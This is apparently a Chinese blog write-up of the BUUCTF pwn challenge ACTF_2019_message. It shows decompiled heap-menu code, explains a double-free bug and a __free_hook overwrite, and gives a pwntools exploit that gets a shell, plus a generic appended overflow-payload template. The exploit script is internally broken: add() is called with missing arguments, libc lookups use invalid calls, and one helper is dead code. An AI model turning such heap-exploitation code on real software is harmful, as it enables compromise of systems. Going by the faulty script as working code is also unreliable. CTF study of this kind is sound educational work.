BUUCTF-PWN-ACTF_2019_message

本文详细分析了一个C程序中存在Double Free漏洞的代码,并探讨了如何利用这个漏洞通过设置malloc_hook和_free_hook来执行任意命令。在无法直接利用got表的情况下,通过操纵内存chunk并修改_free_hook,最终实现执行/bin/sh。文章还提供了完整的EXP代码来演示攻击过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.checksec+运行

除了PIE,其它保护全开,规矩的堆菜单

2.64位IDA 

1.ADD

{
  int i; // [rsp+8h] [rbp-28h]
  int v2; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( dword_60204C <= 10 )        //全局变量
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( v2 <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !*(_QWORD *)&dword_602060[4 * i + 2] )
        {
          dword_602060[4 * i] = v2;
          *(_QWORD *)&dword_602060[4 * i + 2] = malloc(v2);
          puts("Please input the message:");
          read(0, *(void **)&dword_602060[4 * i + 2], v2);
          ++dword_60204C;
          return __readfsqword(0x28u) ^ v4;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
  return __readfsqword(0x28u) ^ v4;
}

2.Delete

{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( v1 < 0 || v1 > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(*(void **)&dword_602060[4 * v1 + 2]);//释放堆之前没有判断当前指针是否为空
      dword_602060[4 * v1] = 0;               //free之后没有置0
      --dword_60204C;
    }                               //UAF或者Double free漏洞
  }
  return __readfsqword(0x28u) ^ v3;
}

跟进看一下 &dword_602060

 利用double free,利用&dword_602060附件的位置,进而就可以修改&dword_602060的内容,也就可以修改其它chunk

0 chunk的位置  0x602060 -0x8=0x602058

在这个位置上伪造chunk

3.edit

{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( dword_602060[4 * v1] && v1 >= 0 && v1 <= 9 ) //对size边界检查
    {
      puts("Now you can edit the message:");
      read(0, *(void **)&dword_602060[4 * v1 + 2], (int)dword_602060[4 * v1]);
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

4.printf

{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( dword_602060[4 * v1] && v1 >= 0 && v1 <= 9 )
      printf("The message: %s\n", *(const char **)&dword_602060[4 * v1 + 2]);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;
}

漏洞利用就是delete函数的free,用double free

但是该题没有直接的后门利用,而且got表不可写,所以不能直接利用plt/got表,需要借助libc中的hook函数

libc中有一些hook函数,malloc_hook、_free_hook函数:

1.__malloc_hook:在malloc之前,检查malloc_hook是否为空,如果不为空,那么就会跳到malloc_hook去先执行它;
2.__free_hook:在free之前,检查free是否为空,如果不为空,就会跳到free_hook去先执行它。
3.源码中  ,__free_hook的参数和free的参数一样,是chunk本身,所以我们可以直接输入/bin/sh,调用__free_hook,执行/bin/sh,执行free,就会执行system

本题我们使用__free_hook,相较malloc_hook会更方便

3.EXP

from pwn import *

context.clear()
context.arch = 'amd64'
context.log_level = 'debug'

name = './ACTF_2019_message'
elf = ELF(name)
libc = ELF('./libc-2.23-64.so')
p = process(name)


def add(size,message):
    p.sendlineafter(b'choice: ' , b'1')
    p.sendlineafter(b'message:\n' , str(size))
    p.sendafter(b'message:\n' , message)


def delete(index):
    p.sendlineafter(b'choice: ' , b'2')
    p.sendlineafter(b'delete:\n' , str(index))

def edit(index,message):
    p.sendlineafter(b'choice: ' , b'3')
    p.sendlineafter(b'edit:\n' , str(index))
    p.sendafter(b'message:\n' , message)

def show(index):
    p.sendlineafter(b'choice: ' , b'4')
    p.sendlineafter(b'display:\n' , str(index))

system_addr = 0
free_hook_addr = 0
libc_base = 0
def libcsearch(leak,func,path=''):
	if path=='':
		
		libc_base = leak - libc.dump(func)
		system_addr = libc_base + libc.dump('system')
		free_hook_addr = libc_base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		libc_base = leak - libc.symbols[func]
		system_addr = libc.symbols['system'] + libc_base
		free_hook_addr = libc.symbols['__free_hook'] + libc_base







add(0x30) #0
add(0x20) #1
add(0x20) #2
delete(1)
delete(2)
delete(1)
#fastbin double free

puts_got = elf.got['puts']
fake =0x602060-0x8 
add(0x20,p64(fake)) #3--->1,直接写到了fd指针
add(0x20)           #4--->2
add(0x20)           #5--->1
add(0x20,p64(puts_got))  #6--->fake
show(0)
p.recvuntil("message: ")
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print("------------------",hex(puts_addr))#拿到地址,泄露libc

libc_base = puts_addr - libc.dump('puts_addr')
system_addr = libc_base + libc.dump('system_addr')
free_hook_addr = libc_base + libc.dump('free_hook_addr')
print("------------------",hex(libc_base))
print("------------------",hex(system_addr))
print("------------------",hex(free_hook_addr))

edit(6,p64(free_hook_addr))#将free_hook_addr写到fake内容里

edit(0,p64(system_addr))#编辑0,将其内容改为system
#将free_hook指向了system

add(0x10,"/bin/sh\x00")

delete(7)#执行system,/bin/sh\
p.interactive()

### BUUCTF PWN 类题目入门教程 #### 学习资源推荐 对于希望进入PWN挑战领域的新手来说,选择合适的教材和平台至关重要。王爽老师的《汇编语言》提供了基础理论支持,有助于理解底层操作原理[^1]。此外,《IDA Pro权威指南》能够帮助掌握逆向工程工具的使用技巧,这对解决PWN问题非常有帮助[^1]。 #### 实践平台建议 为了更好地练习技能并应用所学知识,在线实践环境不可或缺。BuuOJ是一个专门为CTF爱好者设计的学习与交流社区,其中包含了大量针对不同难度级别的PWN题目供玩家尝试解答[^2]。通过不断做题积累经验,可以逐步提高自己的技术水平。 #### 解决方案流程概述 当面对具体的PWN题目时,通常遵循以下几个步骤来构建解决方案: - **检测保护机制**:利用`checksec`命令查看目标程序启用了哪些安全防护措施; - **静态分析**:借助IDA Pro等反汇编器对二进制文件进行深入剖析,找出潜在漏洞点; - **编写Exploit脚本**:基于发现的安全缺陷精心构造攻击载荷; - **测试验证**:最后一步是在本地环境中反复调试直至成功获取Flag。 ```bash # 使用 checksec 工具检查可执行文件的安全特性 $ checksec ./vuln_program ``` ```python from pwn import * # 连接到远程服务器上的服务端口 conn = remote('example.com', 9999) # 发送恶意输入数据给存在缓冲区溢出漏洞的服务进程 payload = b'A' * offset + pack(address) conn.sendline(payload) # 接收返回的数据包以确认是否获得shell访问权限 response = conn.recv() print(response.decode()) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值